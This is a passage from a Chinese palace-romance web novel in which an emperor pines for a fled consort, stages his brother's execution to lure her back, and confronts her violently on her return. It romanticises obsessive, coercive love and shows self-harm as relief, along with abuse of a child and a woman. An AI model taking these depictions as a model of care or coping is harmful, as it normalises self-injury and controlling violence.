这是妙珠留下的孩子。 可他留不住妙珠。 锦聿没了带他的娘,时常整日整日的哭闹,嗓子都快哭哑了,宫人们不敢抱着他到陈怀衡的跟前,生怕他殃及了小皇子。 直到陈怀衡自己想起了他。 他抱着他,眼神又阴又冷的,他讽刺他,说:没用的东西,你连你娘都留不住,还有脸哭。 阴恻恻地说完了这句话,却又把锦聿抱得更紧了一些,用那始终紧紧绷着的脸贴着他那小小的身子,感受着他的心跳。 他是他和妙珠的儿子。 身上留着妙珠的血,是她给他留下的唯一的东西了,如果如果他真的找不回她的话了,那他就只有他了。 宫中上下一时人人自危,太后听说了他这处的事后都以为 他是撞邪了,恨不能找些道士来给他驱邪。 至于吗? 至于吗! 只是一个宫女罢,何至于此呢。 可是,她找的那些三流道士当然是没能近陈怀衡的身,连带着她被他毫不留情地赶出去了。 陈怀衡仍旧恨妙珠,真的恨她。 陈怀衡觉得自己快要疯了,他想,她就算是死,也要死在他身边,就算吃苦也要当着他的面吃,她做了这样的事,他不会原谅她的。 他一定会把她抓回来的。 她这次死定了。 可是,他又總在想,她跑走的时候什么都没带,在外面钱又够不够花,有没有被哪些个不长眼的人欺负。 陈怀衡仍旧没办法从妙珠逃跑这件事走出来,每回待在殿内,便想起往事,整座宫殿就像是一座大熔炉,那些禁不起回忆的事情就像是一把把火,炙烤着他,非得将他烧成一团雾才够,他控制不住砸东西,好像唯独暴力才能宣泄他满腔的恨,可是砸完了东西,使完了身上的力气后竟又不禁委屈得流下泪来。 她怎么就不要他了呢,他好喜欢她的,她难道就一点都感觉不到吗? 怎么就这么狠心,丢下他一个人跑走了呢。 黑暗之中的动物寻求到了一点亮光,然而,明亮只是短暂的,很快,又重新归于黑暗。 陈怀衡坐在地上,靠在床边,泪水就顺着他的眼眶流出,他自己都没有察觉到的时候,就已经泪流满面。 他被她變得面目全非了,她又是什么时候把他变成这样了呢。 这辈子都没流过什么泪的皇帝,快把一辈子泪就流光了。 他恨她。 可又好想她。 妙珠就像是哽在喉咙里面的那一根刺啊,吞也不吞不下去,咳也咳不出来,就那样一直哽在他的咽喉处,把他的恨啊,爱啊,都哽在心口,跑也跑不出去。 三个月了。 春天都快过去了。 世间万物一直在不停歇地走着。 唯独就把他一个人丢在那个春天。 几个月过去,仍旧是没有她的身影。 陈怀衡已经刻薄消受得像是变了另一个人,因着成日成日地睡不好,眼下终日挂着一抹消不掉的青黑,整个人都阴阴郁郁的,叫人望之悚然,谁也不敢在他面前现眼。 政务政务,有什么意思呢。 什么东西都没意思了。 黑暗中的一切都是那样无趣烦人。 可他还是不得不再去处理政务,即便现在一切的东西都能让他变得心烦,可他还是必须要处理政务。 新工未完,旧业已芜,标准的政治动物已经停摆了五月之久,可烦躁的政务实在叫他难忍不堪,一回,他看着地上的碎瓷片,竟忍不住抓着那东西往手上割,身体上传来的疼痛竟让他觉得难得的畅快舒服。 陈怀衡口中发出一声畅快的呻。吟,自此以后,他就像是染上了什么怪瘾,心中痛苦到难忍时,便用身体的疼痛来解决。 他已经不会再流泪,不会再为那些难忍难堪落泪,他已经接受了妙珠离开的事实。 当然,他也越发得恨她。 他恨得想要把她珍视的那些人都杀掉,以此来报复她那颗决绝狠毒的心,可他又能对谁下手?万一哪天她回来了,知道了以后又该恨他一辈子。 他本来是没错的,硬生生也给自己寻出错来了,和她吵架,又该落到了下风。 最后还是没能下手。 妙珠不在的日子,他是半个爹,又是半个娘,锦聿已经接受母亲抛下他离开的事实,也不会再成日成日的嚎啕大哭,陈怀衡几乎把自己所有的耐心留给了这个快两歲的儿子,可是,他还是时常一个人看着他念叨:你没用,你娘不要你了。 是不要他了吗? 明明是不要他了吧。 到底是谁没用呢。 很快。 就这样三年过去。 这年陈怀衡已经二十四歲了。 他和她在一起才几年? 十八岁那年她来了,后来,二十一岁的生辰才没过多久她就跑走了。 或许是她在那三年发生的事情太多了,事情一桩接着一桩的发生,才叫觉得那三年竟过得比他前半生都要长久。 如此回想起来,她在他身边竟只有短促的三年,怎么竟像是萍水相逢一场,有缘却无分。 他仍在找她,可是,仍旧是没有她的身影。 两京一十三省还是太大了,把小小的妙珠藏得不知去向。 在他十八岁那年,锦衣卫不能给妙珠找出清白,二十一岁之后,锦衣卫也不能再在这偌大的天下找到她了。 他必须要去回忆那件最不想回忆的往事,所有的一切都是从那次变了样。 他一直都以为那件事已经过去了,可是此去经年,在把那件事掏出来看,仍旧是血淋淋,仍旧是那样的不堪。 他不尊重她,看不上她,可一开始的时候,她也没想过恨他,她一直都是听他的话的,不管怎么作践她,她也听话。 可是,妙珠是人啊,她是个活生生的人啊,后来,她的不甘和恨,从那三十大板开始一发不可收拾,她不再信任他,再不会爱他。 老天都在帮她。 就连老天都在罚他。 陈怀衡不信天,不信命,可是这一刻,也觉这是天给他的神罚。 他对她的恨非但没有随着时间的推进逐渐消散,反倒是越发刻骨。 他试图去忘掉妙珠,试图去找出她满身的缺点来责难她,他试图告诉自己,她和别的男人苟且过,她水性杨花,她出身低贱,她不识好歹,她恶毒,她无礼,她浑身上下都不好 他试图告诉自己,她并不值得他如此,她就算是死外面都不干他的事,可是从那些回忆里面翻来覆去地找,竟只剩下她的盈盈笑语。 她离开的实在是太过突然,所有的一切好像都还停留在她还爱他的时候。 无论如何回想,她的“喜欢阿衡”那四个字仍旧是那样掷地有声。 越发想,越发无力。 他竟连个忘掉她的理由都找不到。 于是,恨来恨去,恨到最后,竟然又恨到了自己的身上。 一开始每天都恨不得抓到她,可是后来又恨自己当初做得那些事,恨自己为什么不能再多爱她一点,恨自己亲手把她从身边赶走了。 而今才道当时错,心绪凄迷。 红泪偷垂,满眼春风百事非。 时间这两个字的魔力还是太大了一些,把那样一个骄傲自矜,无所不能的人,逼得最后恨上了自己。 对她的恨,对自己的恨相互交缠,在心口一点又一点发酵,将他的整个人都要吞噬。 他已经没有一点的人样了。 他在没有她的黑暗中沉寂了下来,她在没有他的光明之中哗哗而起。 乾清宫的后苑中的白玉兰春生秋落,陈怀衡望着那株玉兰树,时常会想起妙珠坐在下面的模样,她面容姣好,尽态极妍,比头顶的那颗白玉兰还要美好一些,可如今过去三年,那里什么都不剩了。 阳光透过云层,洒落在人间荒原,落在那一片片的白玉兰上,地上落着一块块斑驳的树影,也只有树影,其余的,全没有了。 物是人非四个字,太可怕了。 连陈怀衡都承受不住。 妙珠还在身边的时候,陈怀衡总觉没什么,总觉日子这样过是过,那样过也是过,可是她一走,他竟觉日子都过不下去了。 没人再敢陈怀衡面前提起妙珠这个名字了。 谁也不敢。 谁提都是一场灾难。 有人想让皇帝去立后,那一桩情事便当做露水情缘算了罢!何必如此念念不忘呢。 可没有任何人能的说得动陈怀衡,没有任何人能去让他放下,毕竟就连他自己都做不到。 锦聿已经四岁多了,他和陈怀衡一样,自小之时便聪慧得不像话,现在已经懵懵懂懂知道很多 事了。 比如说,他一直都知道他自己没有娘的这件事。 他没能从宫人们口中听到关于自己亲生母亲的事情,因为没有人敢提起,整个乾清宫中,只有卿云的资历最深。 锦聿问过卿云,他的母亲去哪里了呢? 卿云提起那个逃跑的女人,也只是叹气啊,只能是叹气,她只是说:她去外面过自己的日子了,可她也没有不要你。 卿云在撒谎。 她就是不要他。 她就是丢下了他和父皇。 他没有娘,只有一个父亲。 父皇有一次喝醉了后,他走到他的面前,想要拿走他的酒壶,可是父皇看着他,眉眼之中没有一丝情绪,他对他说:都是因为你留不住你娘,所以你娘才跑走了。 锦聿竟听懂了他的话是什么意思。 他的小脸瞬间煞白一片,低了头不吭声,只是眼睛还是不可控制变红了。 陈怀衡看他哭了,却又把他拉到了身边坐下,他对他说:“我都还没哭呢,你哭什么。别哭了,她早晚会回来的。” 锦聿懵懵懂懂抬头看向他:“父皇,母亲真的会回来吗。” 陈怀衡只是近乎执拗地低喃着:“我不会放过她的。” 他死也会找到她。 他死也不会放过她。 锦聿被他说这话的神情吓到,吓到钻进了他那浑身都是酒气的怀中。 * 直到灵正十五年,出了一件不一样的事。 陈怀霖那边终于有动静了。 自从太皇太后死后五年,他终于有动静了。 当初太皇太后身死之前给他留下了一个近乎毁灭性的真相,马上把那仁善的协王殿下摧毁得不像样。 他知道了真相,却没办法承受那个真相。 仁善的皇祖母是地狱来的恶鬼,而父皇死前本是将皇位传给他的。 他始终是没办法接受这件事情。 母亲绝望的眼神又排山倒海席来,多少次她入了梦,他都想要抓着她说,母妃,我没叫你失望的。他又梦见了父皇,和善的父皇一如往日看着他,他的那双大掌摸在他的额上,他唤着他的名字,用凄怆哀绝的声音说着:霖儿,霖儿你才该是昭天子。 这又何尝不是一种子陷父死,卵巢倾覆呢。 每个人都有放不下的执念,几年前,太皇太后死前在寿宁宫发生的事情就是陈怀霖放不下的执念。 纸上的苍生终究成了虚妄,当年读的那些圣人书反倒成了一把剑来刺向了他。 读的书越多,明白的道理越多,他的心就被蹂躏得越不成样子。 他已经意料自己的结局了,他知道自己的余生不可能安生了。 每日他都被折磨得身心俱疲,终于,他选择自己走向结局。 即便知道是死路一条,他也该走向结局。 他勾结了一些曾经愿意站在身边的大臣,他拿着那张都已泛黄的诏书,他说,曾经立下陈怀衡为帝的那份诏书是伪诏。 近来朝中形势本就不大明朗,陈怀衡近几年越发可怖,阴晴不定,谁都知道他仍旧在为那个逃跑的妃嫔伤神,而陈怀霖在这个时候又拿出了一份先帝的诏书,他说那才是先帝的遗愿。 众人终于回想了十几年前的情形,依稀记得,陈怀霖确实才是仁宗最器重喜爱的孩子不错,而那个时候的陈怀霖也确实是人心所向。 一时之间,陈怀霖拿着那诏书竟还真的掀起了不小的风波。 后来史书上记载,将这件事称为灵正帝即位期间发生的“矫诏事变”。 当然,最后的结局自然是陈怀衡胜出。 毕竟,他从太皇太后死的那一天起就预料到了这一天的到来。 他知道,太皇太后一定会将这件事告诉陈怀霖。 他也知道,陈怀霖迟早有一天会要发动政变。 有了预料之后,一切的事情就都好应对了。 陈怀衡轻松应对了这场事变,他说,他手上的那份才是伪诏,他说,陈怀霖其心不轨,其罪当诛。 最后,凭借这一句话就将陈怀霖压入了大牢。 可陈怀霖早已经到了死也甘之如饴的地步,他竟松了一口气,落到这样的下场,他竟然是松了一口气。 结局如何他不管了,他只要拿着父皇最后留给他的东西,做了这件事就够了,史书上留下了这一笔,便会有人无端地一直揣测,去揣测当年的真相,究竟谁才真的昭天子?而当年的真相若是能被揣测出一点,他死也无撼了。 陈怀衡去牢房寻了陈怀霖一回。 兄弟二人再见,如今却是这样的局面,他们一时之间相顾无言,只是隔着狱牢的栏杆相视许久。 最后是陈怀霖先开的口,他竟笑,他说:“父皇选的是我。” 这件事他们之间应当心知肚明。 陈怀衡也笑,只是现在,他的笑不管是在什么时候都带着一股阴恻恻的可怖,他嘴角挂着一抹似明似暗的弧度,道:“父皇选谁不重要,从她选我的那一刻起,你就已经输了。” 若论聪明,若论读书,若论处理政务,十岁的陈怀衡凭什么就一定比不过陈怀霖,只在那种时候,聪慧是不顶用的。 可陈怀霖显然没有意识到那一点,他也没有意识到,大昭真正能做主的人并非是躺在龙塌上奄奄一息的帝王,而是那冷酷无情的妇人。 从太皇太后选他的那一刻起,陈怀霖就输了,与此同时,太皇太后也输了。 陈怀霖脸上的笑褪下去了一些,他说:“可父皇选的是我。” “这也就是你比不上我的缘故。”陈怀衡说,“在皇宫,他说的话从来都不作数。” 陈怀霖只想着得到父皇的肯定,可他不在乎。 陈怀衡无情地讥讽他道:“皇位给你坐又有什么用?你只会是下一个他。” 他就爱读那么些酸书,看谁都觉善良,用的法子也都上不得台面,对付他的手段用去对付太皇太后,够看吗?他的心弯弯绕绕的,又软又柔,一件事就把他激得溃不成军,他受得了那些事吗? 他当什么皇帝,当个王爷呢最好了。 最后又非要来作死,拿了张前朝的诏书出来晃悠,寻死来了? 那他都把剑递给他了,他怎么能不杀他。 陈怀衡道:“两个月后,午门斩首。” 他宣判了他的死期。 然而,刑期却定在了两月之后。 刑期如此之长,陈怀霖很快就想到了什么。 他想到了那个已经离开了很久的人。 那个已经消失了很久的妙珠。 陈怀霖这些年也时常会想起她。 最最开始的时候,他确实觉得妙珠是有些胆小,又在后来,他都要以为她是要安生过下了,可是没想到,后来她竟跑走了。 她总是会做出些出人意料的事来。 陈怀霖毫不留情地道:“妙珠不要你了不是吗?你这样做是为了引她回来?” 除此原因,他也实在是难想出其他的缘由了。 两个月的时间,足够让他被判斩首的消息传出去了,只要妙珠还在这世上,这消息迟早会传到她的耳朵里面。 提起妙珠,陈怀衡的脸色更叫阴沉。 他又一次提醒他。 妙珠不要他了。 陈怀衡实在找不到她了,他对她竟也没有任何办法,现在陈怀霖刚好犯了错,顶上来了,他凭什么不用这个机会。 以往她总是为了他和他作对,她还说,她和他两情相悦。 好啊,那现在她的情郎就要死了,她回不回来。 他看她回不回来。 陈怀衡只是冷笑:“怎么,这回你又想从中作梗?” 他又问他:“当初你是不是故意逼得她对你这样死心塌地,就为了来激我?” 陈怀霖无力地合了眼,他道:“一开始的时候都是真心的,你也不用把每个人都和你一样想的心思如此歹毒。” 一开始的时候确实是真心实意,除了也有 一些因为陈怀衡的缘故,可大半还是真心。 因为陈怀衡而对妙珠有一些上心,上了心后发现妙珠实在是一个好姑娘,她不该被人如此薄待。 可是后来,出了那件事后,他整个人都不像样了,也切实是存着那些不好的心思。 最后一回。 和妙珠相见的最后一回,切切实实是故意的。 只人之将死其言也善,陈怀霖对陈怀衡这样的行径也尽是无力,他道:“你便放过她吧,何必这样呢。她现在日子说不定都已经要好好过了,你何必再用前尘往事继续迫她。” “放过她?”陈怀衡咬牙切齿道:“我放过她,谁放过我?!” 这三年他都怎么过的?他已经被她逼到这种境地了,他浑身上下都没有一点人样了,他放过她了,谁来放过他呢! 妙珠,你这次最好别回来,若敢回来,你真的死定了。 第55章 第五十五章她回去了,他会怎么样?…… 妙珠当初离开京城的时候却没有跑遠,她就算跑再遠,那也比不了錦衣卫**的马,跑得越远,一路留下的行踪便也越多,干脆就在京城周遭的一个小镇上安定了下来。 錦衣卫的人找遍了天南海北,大概怎么也没想到,她就在旁邊。 她隐姓埋名,和千吉一道找了个小村落住下,宁煦很聪明,给她捏造了一个彻头彻尾的身份出来,她顶替了那个身份,住在一个民风淳朴,官府都不常造访的小村里头。 她刚来的时候,臉上抹得黄扑扑的,还点了几个痦子,顶着一头不大干爽的头发,和妙珠的形容大相径庭,以至于后来官府的人拿着画像找来的时候,怼着她看了好些眼也认不出来,看过了户籍之后,见没什么异常,便马上离开了这里。 宁煦法子多得很,施枕谦又是从小在军营里头长大的,那些三教九流通晓得很,他们帮人帮到底,直接把事情安排得顺顺当当的。 只有一开始刚来的那会叫人盘查过,可是后来大抵是不会觉得妙珠在这里,便再也没有人来过了。 这三年在村子上过的自然是比不上宮里头舒服,妙珠以往总觉得自己苦日子过惯了,难道跑出宮来还怕受不了吗? 由奢入俭难,由俭入奢易,这话体会了才叫真切。 苦日子过惯了,一下子过上好日子,自是好受得很,好日子过舒服了,再去过苦日子,哪这么容易? 而且,又时常会想起丁点大的儿子,思念之情也并非那么好忍受。 一开始的时候切实是有些受不了,她同千吉住在一户小木屋里头,吃穿倒还好,妙珠向来不在这方面讲究,可这里头实在是不大干净,人干净久了,实在是再难以去忍受脏污。 心是这样,身体也是这样。 可是,只要熬过最开始的那段时日就好了,妙珠不过小两个月就已经完全适应了这里的生活。 日子再不好过也从没有想过回去。 这是她自己千方百计想要尋求的生活,她怎么可能回去呢。 没关系的,她什么都可以忍受,可是,只要身子不再在皇宮里面囚着就行了。 临行前宁煦给过她一笔钱,妙珠省着点花,也能用上好些时日了,平日里头再多做些针线活,和千吉一块拿到镇子上去卖钱,逢年过节吃上些好菜好肉,两个人日子凑活凑活也过得有滋有味。 千吉是个话不多的姑娘,她从小的时候起就被施家收留,后来一直在施家做护卫,身上的功夫也厉害,她年岁比妙珠大个两三岁,身形高挑,常年穿着一身劲装,看着虽像竹竿一样挺,可妙珠亲眼见过她那手臂上的肉,硬邦邦的健硕得很。 曾有些个地痞见她们两个姑娘家的,想来尋麻煩,叫千吉三两下就赶跑了,千吉一邊教训他们,妙珠就一邊在旁边叫骂,自此之后,来尋她们麻煩的人便也少了。 村子上的人一直以为妙珠同千吉是两姐妹。 妙珠话多一些,千吉沉默不言,邻里邻居也都是些好相处的朴实的人,在村子上过了三年,也早和他们都混了个相熟,甚至这里头说话的方言她都会了几句。 日子久了,妙珠见风平浪静,也渐渐不再在臉上点痦子了,后来那些黄扑扑的膏粉擦在脸上难受便也不擦了。那些村里头的人也没发现什么异常,只是调笑着说妙珠这是从哪里寻来的好东西,这皮肤怎么越来越嫩。 妙珠也只是打趣着糊弄了过去。 三年的日子说长不长,说短不短,可是在皇宮里头的事情,竟晃眼就像是上辈子的事了,就像是当初她进了宫后,宫外头的事情也就像是上辈子的事了。 这里离京城不算多远,妙珠时常会听到从宫里头传出来的事情,譬如说,陈懷衡越发狠厉癫狂了,他的状态好像一直不怎么好,他有段时日消极怠工,后来过了几月慢慢地重新走出来了,只是,不近人情,神销骨瘦,没人敢惹他不痛快。 或许是因着耐心变差了的缘故,他的脾气也越发大,錦聿两岁的时候,有人让他立后,说皇后之位不好长久空悬,这些话翻来覆去的惹恼了陈懷衡,他说,后宫一个嫔妃都没有,要皇后来做什么? 大臣们说,话不是这样说的呀 陈懷衡没耐心听他们说话,后来竟直接就立了陈锦聿为太子。 他不用皇后,他已经有太子了。 储君就这样被草率地定下,大臣们就这事和陈懷衡怄了好大的气,他们发动了一场声势浩大的声讨,这事在民间闹得民间众人也都知晓,自然也是传到了妙珠的耳中。 她不知道这件事最后是怎么揭过去的,只是知道,最后还是陈怀衡赢了。 他从来都不会让自己输的。 锦聿被安安生生立为了太子。 妙珠时常会想锦聿,可也只是夜深人静的时候想想罢了,至于陈怀衡再想起来,竟然也是松了一口气。 别再回头了。 她时常告诉自己,不要再回过头去看了。 都过去了的。 时至七月盛夏,天气热得烦人,一直到傍晚的时候也都闷闷的。 村子里头蚊虫颇多,屋子里头又都燥热不堪,妙珠和千吉用过晚膳后,便和邻居的大娘们坐在屋子前的空地里头说着闲话,她手上摘着一些草药,是她和千吉一道从山里头摘回来的。 屋子里头蚊虫太多了,得多弄些驱虫的草药。 她和旁边两户人家的大娘闲话,都是些家常话。 说着说着,一个大娘便说起起了京城里头出的一桩事:“今个儿中午用饭的时候听我闺女说京城里头出事了呢。” 京城里头这三年出的事难道还少吗,妙珠已经见怪不怪了,却还是跟着附和着问了一句:“咋了,是出什么事啦?” 大娘道:“哎呦呦,可了不得,听说是京城那边的王爺闹了事。” 王爺。 听到这两个字,妙珠心下一跳,面上却故作镇定问道:“什么王爷呀?现在这太平日子的,能出什么事呢。” 那大娘道:“协王呢,听说是犯了造反的事嘞!” 旁边另外一个大娘听了直骇道:“怎就造反了呢?!这好好的怎么突然就造反了呢。” “是怪得很呢,谁知道是从哪里拿出了一道圣旨,说是先皇留下的遗诏,他说,先皇当初是立他为帝呢。” 妙珠听到这里,脑袋都听得昏昏沉沉 的了,她喉咙微涩,再说不出话,后来只听到那两个大娘说,陈怀霖将在八月斩首。 妙珠没心情再继续在这里待下去了,强笑着说了几句,便搬着凳子回屋子里头了。 自从知道这件事后,一整个晚上妙珠都心绪不宁。 陈怀霖为何突然这般? 他怎么就突然做了这样的事呢。 她实在是有些想不大明白。 一直到了晚上睡前,也都仍旧是在想陈怀霖的事。 这些年,她不敢去想陈怀衡,一想起他就忍不住起一身鸡皮疙瘩,她知道,若是这回被他抓到,他大抵是不会再叫她好过的。 所以,一想起他,也是怕也是惧。 可是陈怀霖,她总还念着从前他的好。 再想起他后,也偶尔会有伤神。 在深宫中,他是为数不多地给过她尊严的人,他是为数不多的帮过她的人了,可是,如今他竟要死了。 妙珠脑海中的陈怀霖,仍旧停留在他二十出头的模样,那个光风霁月的协王殿下,是她在那段幽暗时光中不可多见的阳光。 为什么? 她仍旧想不明白是为什么他会突然造反。 只是依稀记得,自从太皇太后死后,他好像就变了许多,如今再将一切结合起来,再去回想难道,当初皇储一事果真有假?陈怀霖说的其实是真的? 这些乱七八糟的事折磨得妙珠一夜未曾好眠,一直到第二天竟都起不来身。 妙珠醒来的时候,听到外头有劈柴声,知道是千吉在外头,她起了身,洗漱过后弄了早膳来,往外头喊了一声,道:“千吉,先用早膳吧!” 千吉应了一声,便放下了手上的活计从外头进来。 妙珠做的饭菜仍旧是不怎么好吃,不过千吉也不挑嘴。 千吉进屋后,见妙珠脸色不好,问道:“昨夜蚊虫还是多吗?没睡好吗?” 妙珠只是摇头,道:“草药一放便好多了。” 见妙珠不愿多说,千吉便也不再多问,闷头开始用早膳了,妙珠想了想后又道:“千吉,今日我去镇上一趟,去把香囊去东家那里送一趟。” 镇子里头有个卖香囊的店家瞧上了她的手艺,和她说好每月定量从她这里买些香囊过去。 千吉问:“要我陪你一起去吗?” 妙珠摇头,她道:“天气热得很,你在家等我就好了,我去去便回,你不用担心我的。” 千吉听她这样说便也没坚持。 妙珠带好了遮面的斗笠后就坐了村子里头的牛车去了镇子上,把香囊卖给了店家后,便又去随便打听了昨夜听来的事。 果不其然,陈怀霖竟真在八月行刑问斩。 白日的脑子没有夜晚那样混沌,以至于妙珠更加清晰地认清了这件事。 陈怀霖犯了错事。 他真的要死了。 年少时那些懵懂的情谊随着时间的冲刷根本经不起考验,从宫里头出来后,再没那些压抑,从那股不太正常的环境中脱离出来,再用正常的眼光去重新审视一番,发现对陈怀霖的情绪大多也并非是爱,喜欢也好,对陈怀衡的报复也好,可大抵也很难是爱的。 她这个人太自私了,实在是难再彻底地给出真心爱上谁。 可是,陈怀霖给她带来的光,给她带来的悸动也从来都不是假的。 她到现在也仍旧感激他。 感激到看不得他死的地步。 陈怀衡故意的吧。 这件事算起来大概发生了有些时日,刑期却在下月。 他是故意想让她知道,故意在等她回去吗。 他现在肯定恨透了她,她回去了,他会怎么样? 很快临近八月中旬,越是近,妙珠也越发睡不着觉,千吉察觉到了她的心事,一个夜晚,她和她促膝长谈。 三年来,这是妙珠第一次这样躁动不安,不安到了千吉都看不下去的地步,最近发生了什么事吗? 她们为了省些钱,屋子里头也只点着一盏微弱的油灯,昏暗的环境,是极其适合人去陈情的。 千吉问她:“你怎么了,妙珠?” 妙珠咬着手背,道:“千吉,他要死了。” 千吉也知道最近发生的那件事,陈怀霖就要被枭首了,她口中说的人,大概也只能是陈怀霖了。 妙珠道:“千吉,你不知道,你不知道要不是他,我真的连人都快当不了了,在那个地方,也就他把我堂堂正正当个人了,所有人看我都是奴婢,只有宁煦,还有他把我当人看我真的真的不知道怎么办了。” 看着他死,妙珠真的心也不安。 她不知道他为什么突然做这样寻死的事,可是,他一定也是被逼到走投无路了。 千吉哪里知道他们那些龌龊,她向来利落,听到妙珠的话后竟也优柔寡断地叹了一口气,她道:“实在放不下的话,你便回去瞧一瞧。” 只是,瞧这一眼,还能不能再回来,她自己也知道的。 妙珠想了许久,最后也沉沉地叹了口气:“他曾跟我说过,妙珠,永远不要忘记身而为人的事实,我离开了皇宫,寻到了想要的自由,寻到了做人的感觉,可我总不能当了人,就忘了他的好啊。” 就当还给他那句话的恩,她也该回去的啊。 千吉见她这样想,还是又问了一遍:“这回回了京城,你往后说不定就再出来了” 妙珠叹气,道:“我都省得的,兜兜转转这一圈,也认了。” 只是,偷来了三年,也很好了。 她对千吉道:“到时候我先回去,你不要同我一起,我怕牵连了你你回去施家吧,这三年,承蒙你的照顾啦。” 她还在一起和她过了三年的苦日子,说来也只有辛苦抱歉了。 千吉瘪了瘪嘴道:“你和我客气什么,既你自己也想好了,我不多说了。” 说罢,千吉也不再多说,起身离开。 * 八月的时节,天气没那般燥热了,空气中的风也带着几分凉意。 陈怀霖的刑期定在八月十三,午时。 今日是个阴天,京城的天气并不怎么好,阴暗的天让人的内心更叫压抑,午门前已经围了一群人,陈怀霖已经被绑在了刑台之上。 当初最为人称道的王爷最后却落到这样的下场,实在叫人唏嘘。 今日周遭除了刑部的人之外,还围了一群锦衣卫的人,他们面目森然,在那阴沉的天气下更显可怖。 与此同时,午门城楼上还站着锦衣卫的副帥。 明副帥的视线一直在人群中逡巡,试图去找那张熟悉的面孔,可仍旧是没等到人。 怕还是等不到喽。 若等不到,那陈怀霖的头,今日也是真要砍了。 眼看时辰快到,他也不抱什么希望了,然而,视线落到了不远处一人的身上,似正是那消失许久的仪妃。 明副帅揉了揉眼,又细细看了一遍,发现正是妙珠不错! 他马上给底下的锦衣卫们打了个手势,底下的人注意到了他的手势,已经悄无声息地将妙珠包围了起来。 明副帅往底下赶去,又拿出了早已备好的圣旨,对刑台上的问斩官大喊道:“有圣旨宣!” 她今日若是回来,这圣旨就拿出来读,若是没回来,这圣旨就当没写过。 妙珠听到动静,往周遭一看,才发现不知不觉中周围已经站了一群锦衣卫的人。 她抿了抿唇,早就料到这等场景,但她已顾及不到这些,又凝神去听那明副帅宣读的圣旨。 大致是说昨夜陈怀衡昨夜做了个梦,梦到了仁宗,说什么“天家骨肉,本为一体,若刑罚过峻,恐伤天和,非社稷之福”,陈怀衡这梦过后觉得有道理,打算赦免了陈怀霖的死罪,压回大牢,再另断罪。 这实在是有些荒谬,可却又实在像是陈怀衡能做出来的事,他这些年就是这样,阴晴不定至极。 说要杀人的是他,现在宽恕他的又是他。 昨个真梦到仁宗啦?谁又知道呢。 众人听到这道圣旨,便也从这里稀稀疏疏的散开了,妙珠看向了刑台上被绑着的陈怀霖,陈怀霖听到圣旨后,也将好看到了人群中的妙珠。 他没有劫后余生的庆幸,只是紧紧蹙着眉头。 他像是在怪她。 怪她为什么要回来。 妙珠看着陈怀霖,却笑了笑,三年过去,陈怀霖变了很多,不知道是她的记忆出现了偏差又还是如何,陈怀霖已经和记忆中的那个明朗的公子完全不同了。 她要回了陈怀霖的命,却要不回曾经那个明朗的公子了。 可是,妙珠也不在乎了。 身旁传来了明副帅的声音,他朝她颔首,道:“娘娘,请吧。” 第56章 第五十六章你还真敢回来啊 天空一直是暗淡的,天上的阴云有深有浅,东一团西一团,混混沌沌的,墨色浓云挤压着天穹,沉沉的就像要坠下来一样。 乾清宮一样没有阳光,殿里头也像是蒙了一团乌云。 今日陈懷衡没有去上早朝,从早上醒来,就一直坐在椅上。 黑沉沉的乌云从乾清宮外排山倒海席来,殿里头也像是笼了一片浓稠的,伸手不见五指的黑絮,迫得人喘不上气。 陈懷衡一直等着。 他一直在等着她。 她不回来,他仍舊恨她。 她若是回来,他更恨她。 她抛夫弃 子,卧薪尝胆,好不容易在外面躲了三年,结果,现在因为陈懷霖回来了。 若是叫他真看到她他一定要掐死她来抚平自己所受的苦楚。 陈懷衡一直等在殿内,可看着午时要过,妙珠的身影却仍舊没有出现时,他一时间还是更恨。事实证明,她若是不回来,比所有的事带给他的打击都要大一些。 他仍旧坐在龙椅上不死心地等着,面无表情,唯独扣弄着昨日手腕上刚割出来的那道伤痕才能聊以自己心中的苦痛,终于,殿门口出现了那道熟悉的身影。 过了几年了? 三年多了吧。 那个抛夫弃子的女人,那个没有良心的女人,那个让他恨之入骨的女人,现在就站在殿门口。 她就站在那里,不知不覺间,陈怀衡胸口蔓出的思念的青苔已经迅速爬到脚边,将她全身都包裹了起来。她就站在那里,乌沉沉的天,他竟看不清她臉上的神情,看不清她周身的情绪。她就站在那里,她没有变,但也看得出消受了一些,只是那张臉也仍旧是那样,岁月何其厚待她,三年的时间除了让曾经岁小的妙珠更妩媚成熟一些,竟没有在她的臉上留下任何痕迹。她就站在那里,身上穿着不怎么像样的衣裳,这日子俨然过得不怎么样,在外面捡垃圾?过这么苦也不肯回来,就爱穿些破烂 她就站在那里,他想了三年的那个人,她就站在那里 现在有两个事实摆在他的面前。 这三年,她过得很好,又过得很不好。 过得很好是因为离开了他。 而即便过得再不好也从来没有想过来找他。 陈怀衡的眼神已经将她看了千百遍,又爱又恨,交错交缠。 那些汹涌的情绪他甚至快要承受不住,胸口一跳一跳,似有千万股血要从他的七窍五孔流出,他的心好像要从嗓子眼里面跳出来,口中好像已经尝到了心的味道。 然而,他阴沉至极的模样,却让妙珠生出了那股久违的恐惧。 没办法呀。 看到鬼总是要怕的呀。 陈怀衡现在这样的状态,和鬼有什么两样呢。 妙珠进了殿内,身后的殿门马上被人合紧。 屋子里头瞬间变得更暗。 然而,陈怀衡兀地从龙椅上起了身,他朝着她走近,那张臉在黑暗之中也渐渐清晰了起来。 三年不见,他好像变了许多,好像也瘦了很多,那张薄情的脸远远看去,尽是刻薄,瘦削的嘴唇弧度扁平,一双丹凤眼看着更加狂狷,下三白露出的地方太多,眼底的青黑像是藏了无尽的郁气,叫人多看一眼都覺可怖。 妙珠逃也再逃不掉,只是背死死地抵在殿门上,好像只有那实在的触感才能叫她稍稍心安。 乾清宮明明很大,可就那么几步,他轻而易举地就走到她的身前,他立在她的身前,身上的寒气将妙珠也那样轻易浸染。 妙珠被他死死地逼在角落之中,他近在咫尺,她退无可退了,可这一刻竟连抬眼看他的勇气都没有了。 陈怀衡的脑子已经全然被恨占满,他一想到自己这生不如死的三年,再看眼前这个罪魁祸首,只恨不得带着她同归于尽了干净。 他抓着她的头发,迫她抬起了头看他,几乎从牙关中狠狠挤出来了几个字:“你还真敢回来啊。” 她真敢回来。 他这三年怎么找她,她都躲起来不叫他找到,当初那样狠心绝情丢下了他还有儿子跑走,现在因为陈怀霖要死了,她还真就敢回来了。 想到这里,他气得手都跟着抖得厉害,抓着妙珠的头发也越发用力。 妙珠被他这么没轻没重一抓,脸上也浮现了痛苦之色,她不自覺发出了声:“疼” 听到这话的陈怀衡却更恨,他看着她那张因为疼痛而扭曲的面庞,道:“你疼?你竟也知道疼。” 他最后是松开了抓着她头发的手,却狠狠地抓着她臂膀将她一把按到了门上,力道大得恨不得捏碎她的骨头。 